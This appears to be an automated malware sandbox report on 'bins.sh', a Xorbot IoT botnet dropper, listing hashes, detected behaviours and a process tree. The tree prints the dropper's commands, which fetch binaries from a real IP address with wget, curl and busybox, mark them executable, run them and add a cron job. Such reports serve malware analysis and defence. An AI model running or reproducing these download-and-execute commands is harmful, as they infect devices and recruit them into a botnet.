Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    03/12/2024, 12:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e90f2da4437a0ca5041ff1e269aaf0a3

  • SHA1

    0a98adb2ff20f4f776013005183c6587f70d362e

  • SHA256

    8bd93158721b18ddc027f2b17049462e8560b78d1542c2e7d1ba48b4ef9f87ac

  • SHA512

    0317c9ffa1ef2243992bd8ca65626458420da8aa8eaf8121cb34503b21992579df787d9ae9aa66e4bcf4cfc8e8581e16d84e5807ce0d0a3f86cb4b52d76d2ee5

  • SSDEEP

    96:IbisBw02V1AFV5vKamQq/b3nXeK+ymTHW30IYw02V12FV5vKaQQMQ3nXeKIymvqQ:sv3chG+1

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1880) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • Writes file to tmp directory
          PID:726
        • /bin/chmod
          chmod 777 aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • File and Directory Permissions Modification
          PID:728
        • /tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          ./aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
          • Executes dropped EXE
          PID:729
        • /bin/rm
          rm aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://216.126.231.240/bins/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • Writes file to tmp directory
            PID:732
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            ./wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:736
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:738
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:739
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:740
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:741
                • /bin/rm
                  rm wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS
                  2⤵
                    PID:743
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
                    2⤵
                      PID:746
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
                      2⤵
                        PID:827
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
                        2⤵
                        • Writes file to tmp directory
                        PID:828
                      • /bin/chmod
                        chmod 777 DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
                        2⤵
                        • File and Directory Permissions Modification
                        PID:830
                      • /tmp/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
                        ./DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
                        2⤵
                        • Executes dropped EXE
                        PID:831
                      • /bin/rm
                        rm DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6
                        2⤵
                          PID:833
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                          2⤵
                            PID:834
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                            2⤵
                              PID:835
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                              2⤵
                              • Writes file to tmp directory
                              PID:840
                            • /bin/chmod
                              chmod 777 N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                              2⤵
                              • File and Directory Permissions Modification
                              PID:841
                            • /tmp/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                              ./N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                              2⤵
                              • Executes dropped EXE
                              PID:842
                            • /bin/rm
                              rm N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl
                              2⤵
                                PID:844
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                                2⤵
                                  PID:845
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                                  2⤵
                                    PID:847
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:848
                                  • /bin/chmod
                                    chmod 777 r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:864
                                  • /tmp/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                                    ./r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                                    2⤵
                                    • Executes dropped EXE
                                    PID:865
                                  • /bin/rm
                                    rm r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1
                                    2⤵
                                      PID:868
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                                      2⤵
                                        PID:869
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                                        2⤵
                                          PID:871
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:880
                                        • /bin/chmod
                                          chmod 777 Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:882
                                        • /tmp/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                                          ./Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                                          2⤵
                                          • Executes dropped EXE
                                          PID:883
                                        • /bin/rm
                                          rm Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX
                                          2⤵
                                            PID:885
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                                            2⤵
                                              PID:886
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                                              2⤵
                                                PID:895
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:896
                                              • /bin/chmod
                                                chmod 777 g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:898
                                              • /tmp/g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                                                ./g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                                                2⤵
                                                • Executes dropped EXE
                                                PID:900
                                              • /bin/rm
                                                rm g12lZbqdauXmkJf4iC601N4sIA725SEPFq
                                                2⤵
                                                  PID:903
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/L1XKQOwpxb0jhajfF8FYHU4ApjtD97Ni1b
                                                  2⤵
                                                    PID:904

                                                Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                • /tmp/DeO6ogiqS38KOf5i8ctEmKHRJfPSu0nIE6

                                                  Filesize

                                                  122KB

                                                  MD5

                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                  SHA1

                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                  SHA256

                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                  SHA512

                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                • /tmp/N3WX79u3mfcZbiZNMhDFzilCr0FpPdXcDl

                                                  Filesize

                                                  107KB

                                                  MD5

                                                  eb9c3a0de91fcf16ba17cb24608df68c

                                                  SHA1

                                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                                  SHA256

                                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                  SHA512

                                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                                • /tmp/Y2zGo9lNqRLqmFTogvn62Eb11mWaem6nsX

                                                  Filesize

                                                  99KB

                                                  MD5

                                                  9438d9bc392bcf300a5583b6df5bc8f6

                                                  SHA1

                                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                                  SHA256

                                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                  SHA512

                                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                • /tmp/aLHHiR3ikMdgW3WAy9QkIArYjCvqPMAcmU

                                                  Filesize

                                                  98KB

                                                  MD5

                                                  5141342d0df8699fa32a6b066a0c592e

                                                  SHA1

                                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                  SHA256

                                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                  SHA512

                                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                • /tmp/g12lZbqdauXmkJf4iC601N4sIA725SEPFq

                                                  Filesize

                                                  177KB

                                                  MD5

                                                  786d75a158fe731feca3880f436082c0

                                                  SHA1

                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                  SHA256

                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                  SHA512

                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                • /tmp/r59y1Lo02jSfwS5tPR5ZKmRdycwzPV8rN1

                                                  Filesize

                                                  112KB

                                                  MD5

                                                  05d7857dcead18bbd86d2935f591873c

                                                  SHA1

                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                  SHA256

                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                  SHA512

                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                • /tmp/wSOz2WpZZmfxu8cXEiHRiBNHG7B2azVsWS

                                                  Filesize

                                                  151KB

                                                  MD5

                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                  SHA1

                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                  SHA256

                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                  SHA512

                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                • /var/spool/cron/crontabs/tmp.40jHuM

                                                  Filesize

                                                  210B

                                                  MD5

                                                  8e2fd47a0957a8ee214446a266affa04

                                                  SHA1

                                                  8a775a22944e688c8cfa652a510acc6bc6a5e74f

                                                  SHA256

                                                  9dc2963a9ee6c38c9b1c7b55c396a411d64f6f3711a5a227f990c9aa64a81d85

                                                  SHA512

                                                  62fc39663717ed28fb58acfbc8dbe5bbecbc1dc34e3ed8864fdfdee8769ae2fd3ad7d3d08e77c13b4b9d9d4ad82775e89969bbe6aaf06a0a6a0cd4ad1a5a5e88